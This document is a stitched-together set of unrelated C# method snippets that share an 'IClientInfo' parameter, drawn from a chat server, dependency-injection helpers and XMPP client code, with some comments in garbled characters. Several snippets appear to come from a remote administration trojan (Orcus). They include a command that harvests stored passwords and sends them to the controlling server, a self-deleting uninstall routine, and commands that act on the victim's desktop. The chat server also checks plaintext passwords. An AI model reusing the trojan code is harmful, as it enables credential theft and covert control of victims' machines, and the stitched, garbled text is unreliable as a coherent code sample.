private static void SendFriendRequest(string MessageString, IClientInfo Client) { string Sender = AuxiliaryServerWorker.GetElement(MessageString, "-U ", " -Content"); string Receiver = AuxiliaryServerWorker.GetElement(MessageString, "-Content ", "."); AuxiliaryServerWorker.WriteToConsole("[INFO] User " + Sender + " sent a friend request to " + Receiver); string ReceiverIpPort = null; bool FoundOnline = false; foreach (Session Sess in AuxiliaryServerWorker.Sessions) { if (Sess.Username == Receiver) { ReceiverIpPort = Sess.IpPort; FoundOnline = true; } } if (FoundOnline == true) { AntVaultServer.SendBytes(AuxiliaryServerWorker.GetClientIDFromIPPort(ReceiverIpPort), AuxiliaryServerWorker.MessageByte(MessageString)); AuxiliaryServerWorker.WriteToConsole("[INFO] Receiver " + Receiver + " received friend request successfully!"); AntVaultServer.SendBytes(AuxiliaryServerWorker.GetClientID(Client), AuxiliaryServerWorker.MessageByte("/FriendRequestSent -U " + Receiver)); } else { AuxiliaryServerWorker.WriteToConsole("[WARN] Receiver " + Receiver + " was not online to receive their friend request"); AntVaultServer.SendBytes(AuxiliaryServerWorker.GetClientID(Client), AuxiliaryServerWorker.MessageByte("/FriendRequestOffline -U " + Receiver)); //Send offline friend req method here? } }
IEnumerable <IEntityRule> IRule.GetDomainRules(IBaseEntity baseEntity, IClientInfo clientInfo) { return(new List <IEntityRule>() { GetDomainRule(baseEntity) }); }
private static void EndSession(string MessageString, IClientInfo Client) { foreach (IClientInfo CL in AntVaultServer.GetConnectedClients().Values) { AntVaultServer.SendBytes(CL.Id, AuxiliaryServerWorker.MessageByte(MessageString)); } }
private static void UpdateProfilePicture(IClientInfo Client, byte[] Data) { string Sender = null; foreach (Session Sess in AuxiliaryServerWorker.Sessions) { if (Sess.IpPort == Client.RemoteIPv4) { Sender = Sess.Username; Sess.ProfilePicture = AuxiliaryServerWorker.GetBitmapFromBytes(Data); AuxiliaryServerWorker.ProfilePictures[AuxiliaryServerWorker.Usernames.IndexOf(Sender)] = Sess.ProfilePicture; try { AuxiliaryServerWorker.WriteToConsole("[INFO] Previous entry found for " + Sess.Username + " updating it now..."); File.Delete(UserDirectories + Sess.Username + "\\ProfilePicture_" + Sess.Username + ".png"); File.WriteAllBytes(UserDirectories + Sess.Username + "\\ProfilePicture_" + Sess.Username + ".png", Data); } catch (Exception exc) { AuxiliaryServerWorker.WriteToConsole("[ERROR] Could not update profile picture for user " + Sess.Username + " due to " + exc); } AuxiliaryServerWorker.WriteToConsole("[INFO] Profile picture update request finsihed successfully for " + Sender); } } }
public override void Execute(CommandParameter commandParameter, IFeedbackFactory feedbackFactory, IClientInfo clientInfo) { UninstallHelper.RemoveAllDependencies(); UninstallHelper.RemovePrivateFiles(); UninstallHelper.RemoveOtherStuff(); UninstallHelper.UninstallPlugins(); try { UninstallHelper.PrepareOrcusFileToRemove(); } catch (Exception ex) { feedbackFactory.Failed(ex + ": " + ex.Message); return; } var deleteScript = UninstallHelper.GetApplicationDeletingScript(); feedbackFactory.Succeeded(); Program.Unload(); Process.Start(deleteScript); Program.Exit(); }
public T Using <T>(IClientInfo clientInfo) where T : class, IHandler { var HandlerName = typeof(T).Name.Substring(1); string ClientPrefix = clientInfo.AssmPrefix; string DefaultPrefix = clientInfo.DefaultPrefix; string ResolvefilterName; // if (clientInfo.AssmPrefix != clientInfo.DefaultPrefix) ResolvefilterName = string.Format("{0}.{1}.", ClientPrefix, EnumServiceTypes.Handlers) + HandlerName; var exists = EngineContext .Current .ContainerManager.IsRegisteredByName(ResolvefilterName, typeof(IHandler)); if (!exists) { ResolvefilterName = string.Format("{0}.{1}.", DefaultPrefix, EnumServiceTypes.Handlers) + HandlerName; } return(EngineContext .Current .ContainerManager .Resolve <IHandler>(ResolvefilterName) as T); }
public ServerConnection(TcpClient client, SslStream sslStream, BinaryReader reader, BinaryWriter writer, DatabaseConnection databaseConnection, IClientInfo clientInfo) { _sslStream = sslStream; _clientInfo = clientInfo; BinaryReader = reader; BinaryWriter = writer; TcpClient = client; AdministrationConnections = new List <AdministrationConnection>(); _readByteDelegate += BinaryReader.ReadByte; _readByteDelegate.BeginInvoke(EndRead, null); SendLock = new object(); IsConnected = true; databaseConnection.ServerConnection = this; try { SendCachedPackages(); } catch (Exception ex) { ErrorReporter.Current.ReportError(ex, "Send Cached Packages"); } _onlineCheckTimer = new Timer(OnlineCheckTimerCallback, null, OnlineCheckInterval, Timeout.Infinite); }
public static T Using <T>(string filterName, IClientInfo client) where T : class, IFilter { string ClientPrefix = client.AssmPrefix; string DefaultPrefix = client.DefaultPrefix; string filter; if (client.AssmPrefix != client.DefaultPrefix) { filter = string.Format("{0}.{1}.", ClientPrefix, EnumServiceTypes.Filters) + filterName; } else { filter = CommonUtil.GetResolveName(typeof(T), filterName); } var exists = EngineContext .Current .ContainerManager.IsRegisteredByName(filter, typeof(T)); if (!exists) { filter = string.Format("{0}.{1}.", DefaultPrefix, EnumServiceTypes.Filters) + filterName; } return(GetServiceType <T>(filter)); }
private static void MessageReceived(IClientInfo client, string msg) { WriteLine("The server has received a message from client " + client.Id + " with name : " + client.ClientName + " and guid : " + client.Guid); WriteLine("The client is running on " + client.OsVersion + " and UserDomainName = " + client.UserDomainName); WriteLine("The server has received a message from client " + client.Id + " the message reads: " + msg); }
public UploadExposureKey(IMediator mediator, ValidationProcessor validation, IConfiguration configuration, IClientInfo clientInfo) { this.mediator = mediator; this.validation = validation; this.configuration = configuration; this.clientInfo = clientInfo; }
public HandlerMessages(ITransportClient transportClient, IHandlerResponseFromServer handlerResponseFromServer, IClientInfo clientInfo) { _transportClient = transportClient; _clientInfo = clientInfo; handlerResponseFromServer.MessageReceived += OnMessageReceived; handlerResponseFromServer.ConnectedToChat += OnConnectedToChat; }
public void SendButton(JSONButton button, IClientInfo client = null) { if (client == null) { foreach (IClientInfo clientInfo in this.TCPServer.GetConnectedClients().Values) { this.SendButton(button, clientInfo); } } else { this.TCPServer.SendFile(client.Id, button.Icon, button.Icon); Console.WriteLine("Icon Sent File Sent"); this.TCPServer.SendMessage(client.Id, button.ToString()); Console.WriteLine("Info JSON Sent"); if (button.Scope == Actions.ActionScope.Client) { switch (button.ActionCMD) { case "SOUND": this.TCPServer.SendFile(client.Id, button.ActionArgs, button.ActionArgs); Console.WriteLine("Sent " + button.ActionArgs); break; } } } }
public void FinalizeSession(IClientInfo clientInfo) { ExecuteWithLog <object>(() => { Channel.FinalizeSession(clientInfo); return(null); }, $" - clientId: {clientInfo.ClientId}"); }
public override void Execute(CommandParameter commandParameter, IFeedbackFactory feedbackFactory, IClientInfo clientInfo) { var passwordData = PasswordsCommand.GetPasswords(true); var data = new Serializer(typeof(PasswordData)).Serialize(passwordData); clientInfo.ServerConnection.SendServerPackage(ServerPackageType.AddPasswords, data, false, 0); }
private static void SendStatus(string MessageString, IClientInfo Client) { string Sender = AuxiliaryServerWorker.GetElement(MessageString, "-U ", "."); string CurrentStatus = AuxiliaryServerWorker.GetStatus(Sender); AntVaultServer.SendBytes(AuxiliaryServerWorker.GetClientID(Client), AuxiliaryServerWorker.MessageByte("/SendStatus -Content " + CurrentStatus + "."));//SendStatus -Content Status. AuxiliaryServerWorker.WriteToConsole("[INFO] Successully sent " + Sender + "'s status"); }
public void CreateObjectType(IClientInfo clientInfo, string assemblyName, string typeName) { ExecuteWithLog <object>(() => { Channel.CreateObjectType(clientInfo, assemblyName, typeName); return(null); }, $" - clientId: {clientInfo.ClientId}; assemblyName: {assemblyName}; typeName: {typeName}"); }
public void Logoff(IClientInfo clientInfo) { ExecuteWithLog <object>(() => { Channel.Logoff(clientInfo); return(null); }, $" - clientId: {clientInfo.ClientId}"); }
public override void Execute(CommandParameter commandParameter, IFeedbackFactory feedbackFactory, IClientInfo clientInfo) { commandParameter.InitializeProperties(this); DesktopWallpaper.Set(WallpaperUrl, DesktopWallpaperStyle); feedbackFactory.Succeeded(); }
public ConnectionInfo(ServerConnection connection, ushort administrationId, IClientInfo clientInfo, IConnectionInitializer connectionInitializer) { ServerConnection = connection; AdministrationId = administrationId; _sendLock = connection.SendLock; ClientInfo = clientInfo; ConnectionInitializer = connectionInitializer; }
public AppConfiguration(IClientInfo client) { if(object.ReferenceEquals(null,client)) { throw new Exception("Client info nedded"); } _ClientInfo = client; ConfigurationObjectManager = new ConfigurationObjectManager(); }
public MessageDecoderResult Decodable(IoSession session, IoBuffer input) { if ((MessageType)input.Get() != MessageType.Update_UpdateInfo) { return MessageDecoderResult.NotOK; } _appUdateInfo = (IClientInfo)JsonConvert.DeserializeObject(input.GetString(Encoding.UTF8)); return MessageDecoderResult.OK; }
private static Client InitClient(IClientInfo clientInfo) { var client = new Client(); client.Id = Guid.NewGuid(); client.Login = clientInfo.Login; client.Server = clientInfo.Server; client.Password = clientInfo.Password; return client; }
public AppConfiguration(IClientInfo client) { if (object.ReferenceEquals(null, client)) { throw new Exception("Client info nedded"); } _ClientInfo = client; ConfigurationObjectManager = new ConfigurationObjectManager(); }
public override void Execute(CommandParameter commandParameter, IFeedbackFactory feedbackFactory, IClientInfo clientInfo) { commandParameter.InitializeProperties(this); var result = MessageBox.Show(Text, Title, MessageBoxButtons, Icon, DefaultButton); feedbackFactory.Succeeded("Message box successfully opened. Result: " + result); }
public void AddClient(IClientInfo clientInfo) { var client = InitClient(clientInfo); Account.XmppClients.Add(client); EventBus.Publish(new ClientAddedEvent { ClientId = client.Id }); }
public AdministrationConnection(ushort id, ServerConnection connection, IClientInfo clientInfo) { _commandSelector = new CommandSelector(); _connectionInfo = new ConnectionInfo(connection, id, clientInfo, (IConnectionInitializer)_commandSelector.CommandDictionary[32]); _connectionInfo.Failed += ConnectionInfoOnFailed; Id = id; }
private static void DoAuthentication(string MessageString, IClientInfo Client) //NewConnection -U Username -P Password. { string UsernameC = AuxiliaryServerWorker.GetElement(MessageString, "-U ", " -P"); string Password = AuxiliaryServerWorker.GetElement(MessageString, "-P ", "."); if (AuxiliaryServerWorker.Usernames.Contains(UsernameC)) { if (AuxiliaryServerWorker.Passwords[AuxiliaryServerWorker.Usernames.IndexOf(UsernameC)] == Password)//Client authenticated successfully { Session NewSession = new Session() { IpPort = Client.RemoteIPv4, Username = UsernameC, Friends = AuxiliaryServerWorker.GetFriendsList(UsernameC), LoginTime = DateTime.Now, ProfilePicture = AuxiliaryServerWorker.GetProfilePicture(UsernameC), Status = AuxiliaryServerWorker.Statuses[AuxiliaryServerWorker.Usernames.IndexOf(UsernameC)] }; AuxiliaryServerWorker.Sessions.Add(NewSession); AntVaultServer.SendBytes(AuxiliaryServerWorker.GetClientID(Client), AuxiliaryServerWorker.MessageByte("/AcceptConnection"));//AcceptConnection AuxiliaryServerWorker.WriteToConsole("[INFO] Client " + UsernameC + " successfully authenticated! Creating new session file..."); foreach (Session Sess in AuxiliaryServerWorker.Sessions) { AntVaultServer.SendBytes(AuxiliaryServerWorker.GetClientIDFromIPPort(Sess.IpPort), AuxiliaryServerWorker.MessageByte("/UserConnected -U " + UsernameC + ".")); } if (File.Exists(UserDirectories + UsernameC + "\\" + UsernameC + "_lastsession.AntSession")) { try { AuxiliaryServerWorker.WriteToConsole("[INFO] Previous session file located. Updating it now..."); File.Delete(UserDirectories + UsernameC + "\\" + UsernameC + "_lastsession.AntSession"); } catch (Exception exc) { AuxiliaryServerWorker.WriteToConsole("[ERROR] Could not update session file for " + UsernameC + " due to " + exc); } } try { File.WriteAllBytes(UserDirectories + UsernameC + "\\" + UsernameC + "_lastsession.AntSession", AuxiliaryServerWorker.GetSessionBytes(NewSession)); AuxiliaryServerWorker.WriteToConsole("[INFO] Successfully appended session file for " + UsernameC); } catch (Exception exc) { AuxiliaryServerWorker.WriteToConsole("[ERROR] Could not append session file for " + UsernameC + " due to " + exc); } } else { AuxiliaryServerWorker.WriteToConsole("[WARN] Client " + UsernameC + " tried to authenticate with a wrong password!"); } } else { AuxiliaryServerWorker.WriteToConsole("[WARN] Address " + Client.RemoteIPv4 + " tried to authenticate with a non-existant username credential!"); } }
private static void CustomHeaderReceived(IClientInfo client, object msg, IDictionary <object, object> metadata, Type objectType) { WriteLine("Message: " + msg.ToString()); foreach (KeyValuePair <object, object> entry in metadata) { WriteLine($"Key: {entry.Key} , Value: {entry.Value}"); } // WriteLine("Test"); // WriteLine("The server received a message from the client with ID " + client.Id + " the header is : " + header + " and the message is : " + msg); }
private static void ClientDisconnected(IClientInfo client, DisconnectReason reason) { var id = 0; if (client != null) { id = client.Id; } WriteLine("Client " + id + " has disconnected from the server."); }
private static void SendProfilePictures(string MessageString, IClientInfo Client) { string Sender = AuxiliaryServerWorker.GetElement(MessageString, "-U ", "."); AuxiliaryServerWorker.WriteToConsole("[INFO] User " + Sender + " requested to update their profile picture cache"); AntVaultServer.SendBytes(AuxiliaryServerWorker.GetClientID(Client), AuxiliaryServerWorker.MessageByte("/SendProfilePictures")); //SendProfilePictures Thread.Sleep(500); AntVaultServer.SendBytes(AuxiliaryServerWorker.GetClientID(Client), AuxiliaryServerWorker.ProfilePictureBytes(AuxiliaryServerWorker.ProfilePictures)); AuxiliaryServerWorker.WriteToConsole("[INFO] Successfully sent profile picture cache to user " + Sender); }
private static void SendFriendsList(string MessageString, IClientInfo Client) { string Sender = AuxiliaryServerWorker.GetElement(MessageString, "-U ", "."); AuxiliaryServerWorker.WriteToConsole("[INFO] User " + Sender + " requested to update their friends list"); AntVaultServer.SendBytes(AuxiliaryServerWorker.GetClientID(Client), AuxiliaryServerWorker.MessageByte("/SendFriendsList")); Thread.Sleep(100); AntVaultServer.SendBytes(AuxiliaryServerWorker.GetClientID(Client), AuxiliaryServerWorker.FriendsListBytes(AuxiliaryServerWorker.GetFriendsList(Sender))); AuxiliaryServerWorker.WriteToConsole("[INFO Successfully updated friends list for user " + Sender); }
private static void SendUsers(string MessageString, IClientInfo Client)//SendUsers, byte[] UsersList { string Sender = AuxiliaryServerWorker.GetElement(MessageString, "-U ", "."); AuxiliaryServerWorker.WriteToConsole("[INFO] Sending users list to " + Sender); AntVaultServer.SendBytes(AuxiliaryServerWorker.GetClientID(Client), AuxiliaryServerWorker.MessageByte("/SendUsernames")); Thread.Sleep(100); AntVaultServer.SendBytes(AuxiliaryServerWorker.GetClientID(Client), AuxiliaryServerWorker.ReturnByteArrayFromStringCollection(AuxiliaryServerWorker.Usernames)); AuxiliaryServerWorker.WriteToConsole("[INFO] Successfully sent users list to " + Sender); }
public static IFilterKeyPair Using <TFilter>(Enum filter, IClientInfo clientInfo) where TFilter : class, IFilter { var actionFilter = Using <IDomainActionFilter>(filter.ToString(), clientInfo); var filterKeyPair = GetServiceType <TFilter>() as IFilterKeyPair; filterKeyPair.SetRef(actionFilter); return(filterKeyPair); }
private static void HandleMessage(string MessageString, IClientInfo Client) { string Sender = AuxiliaryServerWorker.GetElement(MessageString, "-U ", " -Content"); string Message = AuxiliaryServerWorker.GetElement(MessageString, "-Content ", "."); AuxiliaryServerWorker.WriteToConsole("[" + Sender + "]: " + Message); foreach (Session Sess in AuxiliaryServerWorker.Sessions) { AntVaultServer.SendBytes(AuxiliaryServerWorker.GetClientIDFromIPPort(Sess.IpPort), AuxiliaryServerWorker.MessageByte(MessageString)); } }
public void EditClient(Guid? id, IClientInfo clientInfo) { var client = (id == null) ? GetClientByClientInfo(clientInfo) : ModelContext.GetClientById((Guid)id); var context = SessionModel.GetClientContext(client); if (context.State == ClientState.Disconnected) { client.Login = clientInfo.Login; client.Server = clientInfo.Server; } client.Password = clientInfo.Password; }
public void RemoveClient(IClientInfo clientInfo) { Client client = GetClientByClientInfo(clientInfo); if (client != null) { EventBus.Publish(new ClientRemovingEvent { ClientId = client.Id }); Account.XmppClients.Remove(client); } }
/// <summary> /// ��ȡָ�����õ�Ԫ���ļ�·�� /// </summary> /// <param name="client">�ͻ���Ϣ</param> /// <param name="unitInfo">���õ�Ԫ��Ϣ</param> /// <returns>·��</returns> protected string GetConfigUnitFilePath(IClientInfo client, IConfigurationUnitInfo unitInfo) { string path = null; switch (unitInfo.Domain) { case EnumConfigDomain.Application: path = client.SystemConfigurationDirectory; break; case EnumConfigDomain.User: path = client.UserConfigurationDirectory; break; default: throw new Exception("δ֪�������ļ���"); break; } return System.IO.Path.Combine(path, unitInfo.FileName); }
public OnClientDisconnectArgs(IClientInfo clientInfo) { ClientInfo = clientInfo; }
public TestAppConfiguration(IClientInfo client) : base(client) { }
private Client GetClientByClientInfo(IClientInfo clientInfo) { return Account.XmppClients.FirstOrDefault(t => t.Login == clientInfo.Login && t.Server == clientInfo.Server); }